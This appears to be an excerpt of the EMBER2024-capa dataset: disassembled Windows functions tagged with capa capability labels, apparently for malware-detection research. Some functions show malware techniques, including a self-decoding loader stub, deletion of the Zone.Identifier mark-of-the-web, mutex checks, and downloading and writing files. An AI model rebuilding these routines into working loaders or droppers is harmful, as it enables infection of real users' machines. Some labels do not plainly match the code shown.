joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100383b1
Capabilities:
Resolve dns
Set socket configuration

Disassembly:
push 0x10
mov eax, 0x10068458
call fcn.1003a5de
xor esi, esi
mov dword [ebp - 0x10], esi
push dword [ebp + 8]
and dword [ebp - 4], esi
lea ecx, [ebp - 0x14]
call fcn.1000155e
mov edi, dword [ebp - 0x14]
xor ebx, ebx
inc ebx
mov byte [ebp - 4], bl
test edi, edi
je 0x100383e6
xor eax, eax
cmp dword [edi], eax
sete al
jmp 0x100383e8
mov eax, ebx
test al, al
je 0x100383f3
push 0x100a061a
jmp 0x10038411
test edi, edi
je 0x100383fb
mov eax, dword [edi]
jmp 0x100383fd
xor eax, eax
push eax
call fcn.10038353
pop ecx
test eax, eax
jne 0x1003844c
lea ecx, [ebp - 0x14]
call fcn.10029b00
push eax
call dword [sym.imp.wsock32.dll_gethostbyname]
test eax, eax
je 0x100384b8
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.wsock32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x18]
call fcn.10012712
push eax
lea ecx, [ebp - 0x10]
call fcn.100015bc
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x1003845c
call fcn.100016f0
jmp 0x1003845c
cmp eax, ebx
jne 0x100384b8
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
call fcn.100015bc
lea ecx, [ebp - 0x10]
call fcn.10029b00
push eax
call dword [sym.imp.wsock32.dll_inet_addr]
push 2
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push 4
push eax
call dword [sym.imp.wsock32.dll_gethostbyaddr]
mov esi, eax
test esi, esi
je 0x100384b5
mov ecx, dword [esi]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10038487
sub ecx, edx
push ecx
push dword [esi]
call fcn.1004dd7d
pop ecx
pop ecx
push dword [esi]
lea ecx, [ebp - 0x18]
call fcn.10012712
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x100384b0
call fcn.100016f0
mov esi, dword [ebp - 0x10]
jmp 0x100384ba
mov esi, dword [ebp - 0x10]
xor bl, bl
test edi, edi
je 0x100384c5
mov ecx, edi
call fcn.100016f0
test esi, esi
je 0x100384d0
mov ecx, esi
call fcn.100016f0
mov al, bl
call fcn.1003a5b8
ret
Function at 0x1004dd7d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x1004dd8c
pop dword [ebp - 0x30]
mov eax, 0x6b59eee4
sub eax, 0x5b551158
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x47b0f
push 0
mov eax, 0xdef5daac
sub eax, 0xceef4a3c
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x10dd0e50
sub ecx, 0x10dcc633
mov ebx, eax
mov edx, 0x10107a00
add edx, dword [ebp - 0x30]
mov edi, 0xfb087dad
sub edi, 0x99c6f725
xor dword [ebp - 0xc], edi
mov esi, dword [edx]
add esi, edi
mov dword [ebp - 0x2c], 0x71de820d
mov dword [ebx], esi
xor dword [ebp - 0x20], 0x171cd870
add ebx, 0x9ac3ed01
add ebx, 0x653c1303
add edx, 0x62d56dc0
add edx, 0x9d2a9244
loop 0x1004dde5
add eax, 0x11347
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x4017d0
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push 0
push 0
push 0
push 0
push 0x404288
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
je 0x40188a
push 0
push 0
push 0
push 0
push str.http:__icanhazip.com_
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
je 0x40187e
lea ecx, [ebp - 0x6c]
push ecx
push 0x63
lea edx, [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x68]
test ecx, ecx
je 0x40187e
push 0x404314
lea edx, [ebp - 0x68]
push edx
call fcn.004018b0
add esp, 8
test eax, eax
je 0x40186b
lea eax, [ebp - 0x68]
push eax
call fcn.00401400
add esp, 4
lea ecx, [ebp - 0x68]
push ecx
push 0x404318
push 0x406e48
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x40187e
push 0x404320
push 0x406e48
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov edx, dword [ebp - 0x70]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40189d
push str._0.0.0.0_
push 0x406e48
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x406e48
mov esp, ebp
pop ebp
ret
Function at 0x4018d0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x400
push 0
push 0x406f10
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 1
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_96.0.4664.110_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4019c3
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4019b9
movzx edx, byte [ebp + 8]
cmp edx, 1
jne 0x4019a1
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x40199f
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x406f10
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401995
cmp dword [ebp - 0x10], 0
je 0x401995
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0x406f10
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x401958
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4019b9
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x406f10
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x406f10
mov esp, ebp
pop ebp
ret
Function at 0x402720
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Delete file
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6b4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.52464264
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x6b4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40275e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x20c], 0
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x208]
push ecx
push str._s:Zone.Identifier
lea edx, [ebp - 0x520]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x520]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x6b0]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.00401760
movzx edx, al
test edx, edx
jne 0x4027cb
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x406e04
call section..text
add esp, 4
push eax
push 0x404e20
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x318]
push ecx
push 0x402430
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 1
test edx, edx
je 0x40281e
push 0xcdfe600
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402808
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x85e0b0
Capabilities:
Decompress data using aplib

Disassembly:
call 0x85e200
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x85e0d6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x85e0c2
add dl, dl
jne 0x85e0e1
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x85e134
xor eax, eax
add dl, dl
jne 0x85e0ee
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x85e1d5
add dl, dl
jne 0x85e0fd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x85e108
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x85e113
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x85e11e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x85e12a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x85e0cd
mov eax, 1
add dl, dl
jne 0x85e142
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x85e14d
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x85e139
sub eax, ebx
mov ebx, 1
jne 0x85e180
mov ecx, 1
add dl, dl
jne 0x85e166
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x85e171
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x85e15d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x85e0cd
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x85e197
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x85e1a2
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x85e18e
cmp eax, 0x7d00
jae 0x85e1c5
cmp eax, 0x500
jb 0x85e1c0
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x85e0cd
cmp eax, 0x7f
ja 0x85e1c8
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x85e0cd
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x85e1f6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x85e0cd
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401560
Capabilities:
Check os version

Disassembly:
sub esp, 0x118
mov eax, dword [0x4594d4]
xor eax, esp
mov dword [esp + 0x114], eax
push 0x110
lea eax, [esp + 8]
push 0
push eax
call fcn.0042d120
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4015ca
mov eax, dword [esp + 4]
cmp eax, 5
jae 0x4015b3
cmp eax, 4
jne 0x4015ca
cmp dword [esp + 8], 0x5a
jb 0x4015ca
xor eax, eax
mov ecx, dword [esp + 0x114]
xor ecx, esp
call fcn.0042bbc1
add esp, 0x118
ret
mov ecx, dword [esp + 0x114]
xor ecx, esp
mov eax, 1
call fcn.0042bbc1
add esp, 0x118
ret

Function at 0x4015f0
Capabilities:
Check os version

Disassembly:
sub esp, 0x118
mov eax, dword [0x4594d4]
xor eax, esp
mov dword [esp + 0x114], eax
push 0x110
lea eax, [esp + 8]
push 0
push eax
mov dword [esp + 0xc], 0x114
call fcn.0042d120
add esp, 0xc
lea ecx, [esp]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x40164f
cmp dword [esp + 4], 6
jb 0x40164f
mov eax, 1
mov ecx, dword [esp + 0x114]
xor ecx, esp
call fcn.0042bbc1
add esp, 0x118
ret
mov ecx, dword [esp + 0x114]
xor ecx, esp
xor eax, eax
call fcn.0042bbc1
add esp, 0x118
ret

Function at 0x401d90
Capabilities:
Create http request

Disassembly:
push 0xffffffffffffffff
push 0x44945e
mov eax, dword fs:[0]
push eax
push ebx
push esi
push edi
mov eax, dword [0x4594d4]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
push 0
push 0
push 0
mov ebx, 1
push ebx
push str.Enigma_Software_Group_LT
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
test edi, edi
je 0x401e66
test byte [0x45bba4], bl
jne 0x401e24
or dword [0x45bba4], ebx
mov dword [esp + 0x18], 0
xor eax, eax
mov word [0x45bb8c], ax
push 0x5d
mov eax, str.Accept:_application_octet_stream__application_exe_r_nUser_Agent:_Enigma_Software_Group_LT_1.0_r_n
mov esi, 0x45bb88
mov dword [0x45bba0], 7
mov dword [0x45bb9c], 0
call fcn.00406a40
push 0x449e30
call fcn.0042bcf7
add esp, 4
cmp dword [0x45bba0], 8
mov eax, dword [0x45bb8c]
jae 0x401e37
mov eax, 0x45bb8c
mov ecx, dword [0x45bb9c]
mov edx, dword [esp + 0x20]
push 0
push 0x4000200
push ecx
push eax
push edx
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test eax, eax
jne 0x401e60
xor bl, bl
jmp 0x401e63
push eax
call esi
push edi
call esi
mov al, bl
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0xc
ret
Function at 0x402130
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x270
mov eax, dword [0x4594d4]
xor eax, esp
mov dword [esp + 0x268], eax
push esi
push 0x40
lea eax, [esp + 0x20]
push 0
push eax
mov esi, ecx
call fcn.0042d120
xor eax, eax
xor edx, edx
push 0x206
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
push edx
lea eax, [esp + 0x76]
mov ecx, 5
push eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x30], 0x44
mov dword [esp + 0x5c], 0x81
mov word [esp + 0x60], cx
mov word [esp + 0x78], dx
call fcn.0042d120
add esp, 0x18
push esi
lea ecx, [esp + 0x64]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [esp + 0x80]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4021e9
mov edx, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [esp + 8]
push eax
call esi
mov ecx, dword [esp + 0x26c]
pop esi
xor ecx, esp
call fcn.0042bbc1
add esp, 0x270
ret
Function at 0x402200
Capabilities:
Access peb ldr_data
Get ntdll base address
Inspect load icon resource

Disassembly:
push 0xffffffffffffffff
push 0x449b7e
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x4594d4]
xor eax, esp
mov dword [esp + 0x20], eax
push ebp
push edi
mov eax, dword [0x4594d4]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov eax, dword [sym.imp.USER32.dll_DefWindowProcW]
xor edi, edi
mov dword [esi + 4], edi
mov dword [esi + 0x14], edi
mov dword [esp + 0xc], esi
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], edi
mov dword [esp + 0x38], edi
mov dword [esi + 0x34], vtable.WTL::CMessageFilter.0
mov dword [esi + 0x38], vtable.WTL::CIdleHandler.0
mov dword [esi], vtable.CMainFrame.0
mov dword [esi + 0x34], vtable.CMainFrame.1.0
mov dword [esi + 0x38], vtable.CMainFrame.2.0
mov dword [esi + 0x40], edi
lea ecx, [esi + 0x44]
push ecx
mov byte [esp + 0x3c], 1
call fcn.00409870
mov ebp, 7
xor edx, edx
mov dword [esi + 0xbc], ebp
mov dword [esi + 0xb8], edi
mov word [esi + 0xa8], dx
xor eax, eax
mov dword [esi + 0xec], ebp
mov dword [esi + 0xe8], edi
mov word [esi + 0xd8], ax
mov dword [esi + 0xf4], edi
mov byte [esp + 0x38], 5
lea ecx, [esi + 0x120]
push ecx
mov dword [esi + 0x108], edi
mov dword [esi + 0x10c], edi
mov dword [esi + 0x110], edi
call fcn.00405470
xor edx, edx
mov dword [esi + 0x150], ebp
mov dword [esi + 0x14c], edi
mov word [esi + 0x13c], dx
mov dword [esi + 0x154], edi
mov eax, dword [0x45ab30]
push 0x80
push eax
call dword [sym.imp.USER32.dll_LoadIconW]
push 0x44c604
push edi
push edi
push edi
push edi
push 1
push edi
push edi
push edi
push 0x190
push edi
push edi
push edi
push 0xfffffffffffffff5
mov dword [esi + 0x3c], eax
call dword [sym.imp.GDI32.dll_CreateFontW]
push 0x43
mov dword [esi + 0x40], eax
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x40234b
mov dword [esi + 0x110], 1
xor ecx, ecx
mov dword [esp + 0x28], ebp
mov dword [esp + 0x24], edi
mov word [esp + 0x14], cx
mov ecx, esi
mov byte [esp + 0x38], 8
call fcn.00402780
cmp dword [esp + 0x28], 8
jb 0x40237a
mov edx, dword [esp + 0x14]
push edx
call fcn.0042bbb6
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebp
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.0042bbc1
add esp, 0x30
ret
Function at 0x402860
Capabilities:
Check internet connectivity via wininet
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x449cc0
mov eax, dword fs:[0]
push eax
sub esp, 0x68
mov eax, dword [0x4594d4]
xor eax, esp
mov dword [esp + 0x64], eax
push ebx
push ebp
push esi
mov eax, dword [0x4594d4]
xor eax, esp
push eax
lea eax, [esp + 0x78]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [esp + 0x10], ebx
lea eax, [esp + 0x10]
push eax
push 0x2001f
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
push connect
mov dword [esp + 0x94], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
mov eax, dword [esp + 0x10]
je 0x4028d5
cmp eax, ebx
je 0x402a1e
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x402a1e
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
push ebx
push ebx
push str.ProxyEnable
push eax
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [esp + 0x10]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp eax, ebx
je 0x40290a
push eax
call ebp
push ebx
push 0x44cc78
lea ecx, [esp + 0x40]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x58], 0xf
mov dword [esp + 0x54], ebx
mov byte [esp + 0x44], bl
call fcn.00405fa0
lea ecx, [esp + 0x54]
mov byte [esp + 0x80], 1
call fcn.00445160
mov byte [esp + 0x80], 2
xor ecx, ecx
push 0x15
mov eax, str.http:__www.google.com
lea esi, [esp + 0x20]
mov dword [esp + 0x38], 7
mov dword [esp + 0x34], ebx
mov word [esp + 0x24], cx
call fcn.00406a40
lea edx, [esp + 0x38]
push edx
mov eax, esi
push eax
lea ecx, [esp + 0x5c]
mov byte [esp + 0x88], 3
call fcn.004455e0
cmp dword [esp + 0x34], 8
mov esi, eax
jb 0x402998
mov ecx, dword [esp + 0x20]
push ecx
call fcn.0042bbb6
add esp, 4
cmp dword [esp + 0x14], 1
jne 0x4029de
push ebx
push 1
push str.www.google.com
call dword [sym.imp.WININET.dll_InternetCheckConnectionW]
test eax, eax
jne 0x4029de
cmp esi, ebx
jne 0x4029de
lea ecx, [esp + 0x54]
mov byte [esp + 0x80], 1
call fcn.00445300
lea ecx, [esp + 0x38]
call fcn.00404d50
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x4029da
push eax
call ebp
xor al, al
jmp 0x402a20
lea ecx, [esp + 0x54]
mov byte [esp + 0x80], 1
call fcn.00445300
cmp dword [esp + 0x50], 0x10
jb 0x402a03
mov edx, dword [esp + 0x3c]
push edx
call fcn.0042bbb6
add esp, 4
mov eax, dword [esp + 0x10]
mov dword [esp + 0x50], 0xf
mov dword [esp + 0x4c], ebx
mov byte [esp + 0x3c], bl
cmp eax, ebx
je 0x402a1e
push eax
call ebp
mov al, 1
mov ecx, dword [esp + 0x78]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x64]
xor ecx, esp
call fcn.0042bbc1
add esp, 0x74
ret
Function at 0x4052c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
push ebx
push esi
mov esi, eax
mov ebx, dword [esi + 0x10]
push edi
cmp dword [esi + 0xc], ebx
jbe 0x4052db
call fcn.0042c47c
mov edi, dword [esi + 0xc]
mov eax, dword [esi]
mov dword [esp + 0x10], eax
cmp edi, dword [esi + 0x10]
jbe 0x4052ee
call fcn.0042c47c
mov ecx, dword [esp + 0x10]
mov eax, dword [esi]
push ebx
push ecx
push edi
push eax
lea ebx, [esp + 0x20]
call fcn.00407180
mov ebx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea edx, [esp + 0xc]
push edx
mov edx, dword [ecx]
push 0
push ebx
push 0
push eax
push edx
call edi
test eax, eax
jne 0x405359
mov ecx, dword [esp + 0xc]
test ecx, ecx
je 0x405359
push ecx
mov eax, esi
call fcn.00405ed0
mov eax, dword [esi + 0x10]
sub eax, dword [esi + 0xc]
jne 0x405341
call fcn.0042c47c
mov esi, dword [esi + 0xc]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
lea ecx, [esp + 0xc]
push ecx
mov ecx, dword [eax]
push esi
push ebx
push 0
push edx
push ecx
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x405380
Capabilities:
Set registry value

Disassembly:
push eax
mov eax, dword [esp + 0xc]
push ecx
mov ecx, dword [esp + 0xc]
push edx
mov edx, dword [ecx]
push 0
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
ret 8

Function at 0x4053a0
Capabilities:
Set registry value

Disassembly:
cmp dword [esp + 0x1c], 8
mov eax, dword [esp + 8]
push esi
mov esi, ecx
jae 0x4053b2
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0xc]
add eax, eax
cmp dword [esp + 0x20], 8
jae 0x4053ca
lea ecx, [esp + 0xc]
push eax
mov eax, dword [esi]
push ecx
push 1
push 0
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cmp dword [esp + 0x20], 8
mov esi, eax
jb 0x4053f0
mov ecx, dword [esp + 0xc]
push ecx
call fcn.0042bbb6
add esp, 4
mov eax, esi
pop esi
ret 0x1c
Function at 0x407f30
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push 0xffffffffffffffff
push 0x4497a8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push edi
mov eax, dword [0x4594d4]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
xor edi, edi
xor eax, eax
push 0xffffffffffffffff
mov word [esp + 0x14], ax
mov eax, dword [esp + 0x3c]
push edi
lea ecx, [esp + 0x14]
mov dword [esp + 0x10], edi
mov dword [esp + 0x2c], 7
mov dword [esp + 0x28], edi
call fcn.00405a90
mov eax, ebx
mov dword [esp + 0x30], edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x407f86
sub eax, edx
sar eax, 1
push eax
push ebx
lea eax, [esp + 0x14]
call fcn.00406920
xor ecx, ecx
mov dword [esi + 0x18], 7
mov dword [esi + 0x14], edi
push 0xffffffffffffffff
mov word [esi + 4], cx
push edi
mov ecx, esi
call fcn.00405a90
cmp dword [esp + 0x24], 8
jb 0x407fce
mov edx, dword [esp + 0x10]
push edx
call fcn.0042bbb6
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
add esp, 0x2c
ret

Function at 0x4097d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov ecx, dword [0x45ab34]
push 0xa
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [esi], eax
test eax, eax
jne 0x4097e9
xor eax, eax
ret
mov edx, dword [0x45ab34]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [esi + 4], eax
test eax, eax
je 0x4097e6
mov eax, dword [esi]
mov ecx, dword [0x45ab34]
push edi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x40982f
mov edx, dword [esi + 4]
push edx
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [esi + 8], eax
test eax, eax
jne 0x409833
xor eax, eax
pop edi
ret
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [esi + 4]
push ecx
push edi
push eax
call fcn.004315f0
mov edx, dword [esi + 8]
add esp, 0xc
push edx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov ecx, dword [esi + 8]
lea eax, [esi + 0xc]
push eax
push 0
push ecx
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
neg eax
sbb eax, eax
inc eax
pop edi
ret